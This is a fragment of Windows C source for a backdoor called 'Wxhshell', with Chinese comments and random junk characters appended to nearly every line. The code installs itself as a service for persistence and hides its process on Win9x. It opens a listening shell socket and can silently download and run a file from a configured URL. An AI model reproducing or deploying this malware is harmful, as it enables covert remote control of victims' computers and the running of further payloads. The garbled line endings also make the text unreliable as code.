PROCNTQSIP NtQueryInformationProcess; P;^y|0Nm
8w03{H
0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O5g}2
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z`c%?_EK
0PYvey }[
HANDLE hProcess; G%xb0%oi]%
PROCESS_BASIC_INFORMATION pbi; p^T&jE8])#
eLCdAr
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,.~
W
if(NULL == hInst ) return 0; C/SapX
s>LA3kT
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TFAYVK~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~D<7W4c
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E%-Pyg*
3yeK@>C
if (!NtQueryInformationProcess) return 0; ;gZwQ6)i
2b; rr
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &r&;<Q
if(!hProcess) return 0; V*~1,6N[
,h3269$J
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v]B0!k&4.
eV"d v*R
CloseHandle(hProcess); l R:Ok8e
t.3Ct@wK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3?!G-
if(hProcess==NULL) return 0; 1_N~1Ik
z8
hTZU
HMODULE hMod; |Dl*w/n
char procName[255]; k\sc }z8X
unsigned long cbNeeded; $ \? N<W
aQz|!8Is
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mgmWDtxN
it(LphB8
CloseHandle(hProcess); G>
f^ 2
CnxK+1n l
if(strstr(procName,"services")) return 1; // 以服务启动 Nr>c'TH
4JX`>a{<
return 0; // 注册表启动 LXBbz;vYl
} vF5wA-3&t
8
m%>:}o
// 主模块 \hjk$Gq
int StartWxhshell(LPSTR lpCmdLine) s-QM6*
{ >t1_5
SOCKET wsl; QH@Q\
@,
BOOL val=TRUE; fG:PdIJ7_
int port=0; o?:;8]sr!
struct sockaddr_in door; ;X?Ah
`,F&y{A
if(wscfg.ws_autoins) Install(); u5xU)l3
=gxgS<bde
port=atoi(lpCmdLine); 9oZ}
h&
BSx j~pun
if(port<=0) port=wscfg.ws_port; AyQS4A.s[
4M;sD;3
WSADATA data; tQNk=}VR7r
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Tns?mQ
@rnp- +kq
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o0,UXBx
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C><<0VhU
door.sin_family = AF_INET; W&fW5af9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @4 zi]v
door.sin_port = htons(port); I-RdAVB/Ep
hQgk.$g
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FRl3\ZDqrb
closesocket(wsl); oV0LJ%
return 1; ga4/,
} OaD
Alrm
MgJ%26TZ
if(listen(wsl,2) == INVALID_SOCKET) { 3a'Rs{qxn
closesocket(wsl); h(C#\{V
return 1; {]t\`fjrg
} LK'S)Jk
Wxhshell(wsl); p)?qJ2c|
WSACleanup(); K7t&fDI
ltCwns
return 0; ;n( #b8r9
ua]\xBWx
} YtwmlIar`
\Dvl%:8
// 以NT服务方式启动 @A~B
,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /3CHE8nSh
{ oso1uAOfp
DWORD status = 0; jMm_A#V>p
DWORD specificError = 0xfffffff; N<#S3B?.
]jVIpGM
serviceStatus.dwServiceType = SERVICE_WIN32; oj,HJH+
serviceStatus.dwCurrentState = SERVICE_START_PENDING; SR&(HH$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #~bU}[{
serviceStatus.dwWin32ExitCode = 0; _H~pH7WU
serviceStatus.dwServiceSpecificExitCode = 0; }};j2
serviceStatus.dwCheckPoint = 0; 1kB'sc3N!
serviceStatus.dwWaitHint = 0; x&hvFG3
Bi9
N
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {
4_I7r
if (hServiceStatusHandle==0) return; fP^W"y
wQo6!H"K
status = GetLastError(); ..P=D <'f
if (status!=NO_ERROR) LG/=+[\{E
{ )0Y #-=.<
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8]cv &d1f
serviceStatus.dwCheckPoint = 0; tJ?qcT?
serviceStatus.dwWaitHint = 0; d&PE,$XC
serviceStatus.dwWin32ExitCode = status; ImUQ*0
serviceStatus.dwServiceSpecificExitCode = specificError; bqw/O`*wfN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /t$+Af,}
return;
D\45l
} ifJv~asp
J[j/aDdP
serviceStatus.dwCurrentState = SERVICE_RUNNING; ue6/EN;}
serviceStatus.dwCheckPoint = 0; ,$MWk(S
serviceStatus.dwWaitHint = 0; bm|Jb"T0b
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Nt`F0
9S
} W,9k0t
,(@Y%UW:
// 处理NT服务事件,比如:启动、停止 Dg9--wI}I9
VOID WINAPI NTServiceHandler(DWORD fdwControl) "k\Ff50
{ c t2_N
switch(fdwControl) Q{H!s_6iyv
{ 2 Ft0C2
case SERVICE_CONTROL_STOP: <'>d0:>N
serviceStatus.dwWin32ExitCode = 0; +BtLyQ
serviceStatus.dwCurrentState = SERVICE_STOPPED; yBYuDfeZ
serviceStatus.dwCheckPoint = 0; k=h/i8i2z
serviceStatus.dwWaitHint = 0; 5p]urfN-f
{ WryW3];0OR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mFgb_Cd
} ),D`ZRXS
return; gZ`#tlA~
case SERVICE_CONTROL_PAUSE: qHC*$v#.V?
serviceStatus.dwCurrentState = SERVICE_PAUSED; SHXa{-
break; 0,vj,ic*WX
case SERVICE_CONTROL_CONTINUE: :|3"H&FWK
serviceStatus.dwCurrentState = SERVICE_RUNNING; b.mjQ
break; TRr4`y%
case SERVICE_CONTROL_INTERROGATE: BRo
R"#'
break; eLDL "L
}; a>)_ `m
SetServiceStatus(hServiceStatusHandle, &serviceStatus); OUBgBr
} WV,?Ge
3&a*]
// 标准应用程序主函数 X*0eN3o.
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C)&gL=O*$
{ _-|yCo
@,yFY
// 获取操作系统版本 D*d 3w
OsIsNt=GetOsVer(); GM9]>"#o\
GetModuleFileName(NULL,ExeFile,MAX_PATH); +s+PnZ%0V
?FY@fO?es
// 从命令行安装 bOdsMlJkN
if(strpbrk(lpCmdLine,"iI")) Install(); 3IU$
m 1'&{O:
// 下载执行文件 K*HVn2OV
if(wscfg.ws_downexe) { &|'Kut?8
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 32iWYN
WinExec(wscfg.ws_filenam,SW_HIDE); J#Ne:Aj_
} PoBukOv
NR;S3-Iq(
if(!OsIsNt) { G(7\<x:
// 如果时win9x,隐藏进程并且设置为注册表启动 o3TBRn,
HideProc();
FM;;x(sg
StartWxhshell(lpCmdLine); nL7S3
} NSiYUAug
else eBSn1n
if(StartFromService()) 6,g5To#vw
// 以服务方式启动 T|BY00Sz`
StartServiceCtrlDispatcher(DispatchTable); jziA;6uL
else 1v[#::Bs
// 普通方式启动 Vne.HFXA
StartWxhshell(lpCmdLine); \J3v>&m<7
8,H#t@+MT
return 0; % b>y
}